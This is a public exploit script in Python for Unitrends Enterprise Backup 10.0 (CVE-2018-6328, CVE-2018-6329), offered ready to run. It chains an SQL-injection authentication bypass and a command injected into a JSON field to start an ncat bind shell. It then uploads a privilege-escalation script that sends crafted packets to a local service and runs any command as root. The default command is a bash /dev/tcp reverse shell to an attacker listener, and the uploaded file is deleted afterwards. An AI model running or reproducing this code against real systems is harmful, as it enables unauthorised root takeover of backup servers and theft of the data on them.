Unitrends UEB 10.0 – Root Remote Code Execution
# Exploit Title: Unauthenticated root RCE for Unitrends UEB 10.0 # Date: 10/17/2017 # Exploit Authors: Cale Smith, Benny Husted, Jared Arave # Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413 # Vendor Homepage: https://www.unitrends.com/ # Software Link: https://www.unitrends.com/download/enterprise-backup-software # Version: 10.0.0 # Tested on: 10.0.0-2.201706252204.CentOS6, 10.0.0-5.201708151911.CentOS6 # CVE: CVE-2018-6328, CVE-2018-6329 import httplib import urllib import ssl import random import sys import base64 import string import socket from optparse import OptionParser # Print some helpful words: print """ ############################################################################### Unauthenticated root RCE for Unitrends Backup Tested against appliance versions: [+] 10.0.0-2.201706252204.CentOS6 [+] 10.0.0-5.201708151911.CentOS6 The Deal: 1. A sqli + low priv remote RCE vulnerability to is used to establish a low priv remote shell from the UEB 10 host (you don't need to worry about setting up a listener). 2. A local privesc exploit containing the desired command is uploaded to the host using this shell, and executed. 3. The initial low priv shell is closed, and the local privesc script is deleted. To use the exploit as written, make sure you're running a reverse shell listener somewhere, using a command like: $ nc -nlvp 4444 Then, just specify the ip and port of the remote listener in the exploit command. Alternatively, modify this exploit to contain a command of your choosing by modifying the 'cmd' argument. ############################################################################### """ # Disable SSL Cert validation if hasattr(ssl, '_create_unverified_context'): ssl._create_default_https_context = ssl._create_unverified_context # Parse command line args: usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\ " %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'" parser = OptionParser(usage=usage) parser.add_option("-r", '--RHOST', dest='rhost', action="store", help="Target host w/ UNITRENDS UEB installation") parser.add_option("-l", '--LHOST', dest='lhost', action="store", help="Host listening for reverse shell connection") parser.add_option("-p", '--LPORT', dest='lport', action="store", help="Port on which nc is listening") parser.add_option("-c", '--cmd', dest='cmd', action="store", help="Run a custom command, no reverse shell for you.") (options, args) = parser.parse_args() if options.cmd: if (options.lhost or options.lport): parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mututally exclusive.\n") elif not options.rhost: parser.error("[!] No remote host specified.\n") elif options.rhost is None or options.lhost is None or options.lport is None: parser.print_help() sys.exit(1) RHOST = options.rhost LHOST = options.lhost LPORT = options.lport if options.cmd: cmd = options.cmd else: cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT) apache_ncat_port = random.randint(4000,5000) ############################################################################### # STAGE 1: LOW PRIVE RCE! # Bypass authentication and run a command as apache. In this case, # we'll run a netcat bindshell on a random port... # ncat -lvp 4444 -e /bin/sh # NB: This is not the part of the process where we're going to run our command. # We're establishing a reverse shell which will be used later to state a # privilege escalation payload onto this box. ############################################################################### low_priv_cmd = "ncat -lvp {0} -e /bin/sh &".format(str(apache_ncat_port)) url = '/api/hosts/' # Here, a SQLi string overrides the uuid, providing auth bypass. # We'll need to base64 encode before sending... auth = base64.b64encode("v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0") params = urllib.urlencode({'auth' : auth}) params = """{{"name":"bbb","ip":"10.0.0.200'\\"`0&{0}`'"}}""".format(low_priv_cmd) headers = {'Host' : RHOST, 'Content-Type' : 'application/json', 'X-Requested-With' : 'XMLHttpRequest', 'AuthToken' : auth } # Establish an HTTPS connection and send the payload. conn = httplib.HTTPSConnection(RHOST, 443) conn.set_debuglevel(0) print "[+] Sending payload to remote host [https://{0}]".format(RHOST) print "[+] opening low-priv bindshell w/ the following command:" print "[+] {0}".format(low_priv_cmd) conn.request("POST", url, params, headers=headers) r1 = conn.getresponse() r1.close() ############################################################################### # STAGE 2: MOVE THE PRIVESC ONTO THE REMOTE BOX! # The local root RCE exploit below will be printf'd into a file in /tmp # NB: your command of choice has been inserted into this exploit. ############################################################################### priv_esc_text = """ import socket import binascii import struct import time import sys from optparse import OptionParser # Parse command line args: usage = "Usage: %prog -c 'touch /tmp/foooooooooooo'" parser = OptionParser(usage=usage) parser.add_option("-c", '--cmd', dest='cmd', action="store", help="Run a custom command, no reverse shell for you.") parser.add_option("-x", '--xinetd', dest='xinetd', action="store", type="int", default=1743, help="port on which xinetd is running (default: 1743)") (options, args) = parser.parse_args() RHOST = '127.0.0.1' XINETDPORT = options.xinetd cmd = options.cmd def recv_timeout(the_socket,timeout=2): the_socket.setblocking(0) total_data=[];data='';begin=time.time() while 1: #if you got some data, then break after wait sec if total_data and time.time()-begin>timeout: break #if you got no data at all, wait a little longer elif time.time()-begin>timeout*2: break try: data=the_socket.recv(8192) if data: total_data.append(data) begin=time.time() else: time.sleep(0.1) except: pass return ''.join(total_data) print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT)) try: s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((RHOST,XINETDPORT)) except: print "[!] Failed to connect!" exit() data = s1.recv(4096) bpd_port = int(data[-8:-3]) try: pass s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((RHOST, bpd_port)) except: print "[!] Failed to connect!" s1.close() exit() print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT)) print "[+] '{0}'".format(cmd) cmd_len = chr(len(cmd) + 3) packet_len = chr(len(cmd) + 23) packet = '\\xa5\\x52\\x00\\x2d' packet += '\\x00' * 3 packet += packet_len packet += '\\x00' * 3 packet += '\\x01' packet += '\\x00' * 3 packet += '\\x4c' packet += '\\x00' * 3 packet += cmd_len packet += cmd packet += '\\x00' * 3 s1.send(packet) data = recv_timeout(s2) print data s1.close() #s2.close() """ s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) pe_filename = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16)) pe_filename += ".py" print "[+] Connecting to ncat bindshell at {0}:{1}.".format(RHOST, str(apache_ncat_port)) try: s2.connect((RHOST,apache_ncat_port)) except Exception as e: print "[!] something's wrong with %s:%d. Exception is %s" % (address, port, e) exit() print "[+] Transfering privesc script to remote host..." for line in priv_esc_text.split('\n'): line = base64.b64encode(line+'\n') ft_cmd = "echo " + line + " | base64 -d >> /tmp/{0}\n".format(pe_filename) s2.send(ft_cmd) print "[+] Executing command:" print "[+] '{0}'".format(cmd) high_priv_cmd = "python /tmp/{0} -c '{1}'\n".format(pe_filename, cmd) s2.send(high_priv_cmd) print "[+] Cleaning up, removing remote privesc script." cleanup_cmd = "rm /tmp/{0}\n".format(pe_filename) s2.send(cleanup_cmd) print "[+] We did it! :D" s2.close() |